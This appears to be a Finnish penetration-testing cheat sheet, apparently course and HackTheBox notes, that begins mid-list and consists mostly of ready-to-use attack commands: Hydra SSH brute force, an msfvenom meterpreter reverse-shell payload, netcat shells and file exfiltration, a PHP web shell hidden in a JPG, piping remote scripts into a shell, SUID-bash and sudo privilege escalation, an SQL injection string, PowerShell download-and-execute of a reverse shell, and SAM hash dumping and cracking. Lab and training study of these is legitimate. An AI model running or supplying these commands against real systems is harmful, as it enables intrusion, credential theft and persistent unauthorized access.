alueesta hydra -l user -P sanalista 10.10.10.10 -t 4 ssh -V : SSH:n kautta yrittaa aravata tietyn kayytajan salasanaa hydra -L loginuserfile : Kokeilee kaikilla kayttajilla jotka sanalistassa systemctl restart ssh : Jos ei toimi restart hydra http form : Googlesta loytaa web formeihin esimerkkeja ________________________________________________________________________________________________________________________________ ** EYEWITNESS ** eyewitness -f /root/ey/hosts : EyeWitness toiminto hosts tiedostoon tarvitaan domain tai ip --web --prepend-https : Liput jotka hakee webbisivusta myos https hosts : Listataan kansioon hostnimi tai ip ________________________________________________________________________________________________________________________________ ** MSFVENOM ** msfvenom --list payloads | grep -i linux : Hakee hyotykuormia msfvenom --list formats msfvenom --payload linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 -f elf -o troijan file troijan search multi handler use exploit/multi/handler options set payload linux/x64 meter.... set LHOST 127.0.0.1 exploit ./troyan fg ________________________________________________________________________________________________________________________________ ** REVERSE SHELL ** : Koodin toimivuus testi ?fun=whoami : Selaimessa tiedoston peraan python -m SimpleHTTPServer 9911 : Lataus serveri wget 10.10.10.10:9911/filename.php -O /dev/shm/.name.php : Tiedoston lataus selaimella nc -vnlp 5553 : Reverse shell pyynto omalle koneelle python3 -c 'import pty;pty.spawn("/bin/bash")' : tty shell python -m 'import pty;pty.spawn("/bin/bash")' : tty shell vanha versio CTRL+Z : Vie taustalle stty -a : Tab mod paalle stty raw -echo : Ajetaan echon kautta omalta koneelta fg : Ohjelma taustalta takaisin stty rows 49 : 49 tty riveja stty cols 185 : 185 tty kolumneja nc -vlp 5553 > testfile.txt : Tiedoston lataus netcatilla nc 10.10.10.10 5333 < downloadfile.txt : Tiedoston vienti toiselle koneelle nclla exiftool -Comment='"; system($_GET['fun']); ?>' silver.jpg : JPG kuva php funktiolla mv silver.jpg silver.php.jpg : Nimen vaihto .php.jpg tiedostoksi XSS : ________________________________________________________________________________________________________________________________ ** PRIVESC ** LinPeas : PrivEsc scanneri LinEnum : PrivEsc scanneri pspy64s : CRON job scanneri LinPeas ajaminen koneella jossa ei ole julkista verkkoa curl -L LINPEASGITHUB > linpeas.sh : Omalle koneelle lataus python3 -m http.server 9911 : Palvelin auki omalle koneelle curl -L IP:9911/linpeas.sh | sh : Ajaa ohjelman yhteydessä olevasta koneesta python3 -m http.server 9911 : Lataus serveri portti 9911 curl 10.10.10.10/LinEnum/LinEnum.sh | bash : Python http palvelimelta suoraan portti 80 wget 10.10.10.10:9911/linenum.sh -O /dev/shm/.linenum.sh : wget linenum simplepython palvelimesta wget 10.10.10.10:9911/winpeas.exe -O ./winpeas.exe : wget winpeas nykyiseen kansioon wget 10.10.10.10:9911/linpeas.sh -O /dev/shm/.linpeas.sh : wget linenum simplepython palvelimesta SUID find / -perm /4000 2>/dev/null : Etsii set uid tiedostoja kaikki ohjelmat rwsr-sr-x 1 root root : Voidaan vaihtaa id root kayttajaan ja ajaa. term punainen cat /proc/net/tcp : Nayttaa portit joita palvelin kuuntelee int(0x0016) : Python tulkilla portit oikeaan muotton esim 22ssh = 0016 cp /bin/bash /tmp/bash && chmod u+s /tmp/bash : Cron jobista root oikeudet /temp/bash -p : Bashing avaus rootilla getent group : Kayttajien ryhmat groups sudo -u root /kansio/tiedosto : Sudo oikeus ilman salasanaa ajetaan toisella kayttajalla uname -a : Linux versio komento ps aux | grep root : root oikeuden ohjelmien haku sudo -l : Sudotus oikeudet sudo -l Priv esc esimerkki: User may run the following commands on environment: (ALL) /usr/bin/systeminfo Komenoilla: echo 'bash -i' > /tmp/rootme chmod +x /tmp/rootme sudo BASH_ENV=/tmp/rootme /usr/bin/systeminfo sudo -u user bash : Sudo toisella kayttajalla sudo su : Super User kirjautuminen sudo awk 'BEGIN {system("/bin/sh")}' : Root user awklla find / -perm -4000 2>/dev/null : Etsii tiedostoja 4000 oikeudella openssl passwd -h : Salasanan luonti passwd tiedostoon -h salasana parametrit ________________________________________________________________________________________________________________________________ ** VIRTUALHOSTSCAN ** wfuzz -H "Host: FUZZ.htb" -w ./wordlist -u http://10.10.10.10/ : Hakee virtualhostia .htb alueesta wpscan --url http://localhost --enumerate u,ap,tt,t | tee teksti.txt : Scanneri wordpress sivuille ________________________________________________________________________________________________________________________________ ** BURPESUITE ** Port:8080 : Proxyyn portti CTRL+r : Intersept lahetetaan Repeaterille CTRL+u : URL encoding jos omat komennot ei toimi CTRL+SHIFT+u : URL decode jotta saadaan luettavaan muotoon takaisin sudo tcpdump -i tun0 icmp : Takaisin pain pingaukseen ________________________________________________________________________________________________________________________________ ** SQL ** username=admin' or 1+1--+ : Perus injectio testi ' jalkeen sqlmap : Kali ohjelma Sql injektio testaukseen ________________________________________________________________________________________________________________________________ ** VIM ** :q! : Lopetus :w! : Tallennus export TERM=screen : Jos nuolilla ei voi liikkua vimissa ________________________________________________________________________________________________________________________________ ** ELASTICSEARCH ** curl localhost:9200/_cat/indices?v : Hakee elasticsearchiin tallennetut indexit curl -s localhost:9200/filebeat/_search?size=10000 : Hakee indexin mukaan tiedot max size 10k cat filebeat.json | jq : Json data luettavaan muotoon cat filebeat.txt | python -mjson.tool | tee filebeat.txt : Muuntaa koko teksti tiedoston json muotoon grep 'apache' filename.txt > file.json : Grep filter apache sanalla Elasticsearchdump : Githubissa ohjelma, joka hakee tietoja ________________________________________________________________________________________________________________________________ ** WINDOWS ** exec | c:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe : PS valitseminen IEX(New-Object Net.WebClient).downloadString('http://10.10.10.10:PORTTI/Invoke-PowerShellTcp.ps1') : Avaa/lataa IEX(New-Object Net.WebClient).downloadString('http://10.10.10.10:PORTTI/Sherlock.ps1') : Sherlock PS Get-ComputerInfo | select WindowsProductName, WindowsVersion, OsHardwareAbstractionLayer : Versio tiedot systeminfo : Powershell komento, joka antaa tietoja jarjestelmasta /Windows/System32/config/SAM : Salasana tiedosto windowsille pwdump SYSTEM SAM > /kansio/.txt : Dumpaa salasa hashit luottavaan muotoon hashcat -v -m 1000 windowshash rockyou.txt : SAM hash crackaus SSL public/private key varastaminen tiedostosta: openssl pkcs12 -in filename.pfx -nocerts -nodes -out key.pem openssl pkcs12 -in filename.pfx -out cert.pem evil-winrm -S -c ./cert.pem -k ./key.pem -i 10.10.10.10 evil-winrm -u user -p password -i 10.10.10.10 : Evil-winrm github: remote Linux --> Windows !!! Penetration Testing kohdan kaytetyt menetelmat ovat vaarin kaytettyna laittomia, kayta omalla vastuulla. !!! ________________________________________________________________________________________________________________________________ USEFULL LINKS: https://gtfobins.github.io/ http://pentestmonkey.net/ https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite SOURCES: Pohjana Tero Karvinen 2019: Penetration Testing kurssi, http://terokarvinen.com Ippsec youtube HackTheBox series, https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA Priv Escalation from sudo, https://www.andreafortuna.org/2018/05/16/exploiting-sudo-for-linux-privilege-escalation/ ________________________________________________________________________________________________________________________________ ******************************************************************************************************************************** ******************************************************************************************************************************** https://github.com/Dunttus : Github https://ailogs.design.blog/blog-feed/ : AIBlog https://hakala412609737.wordpress.com/ : ELKBlog https://hakalawindows.wordpress.com/blog-2/ : WindowsBlog https://jonihakala.home.blog/blog-feed/ : GoogleCloudBlog https://jonihakala208450670.wordpress.com/ : SALTBlog https://hakala.home.blog/ : PentestBlog https://hakala690012106.wordpress.com/blog/ : LinuxBlog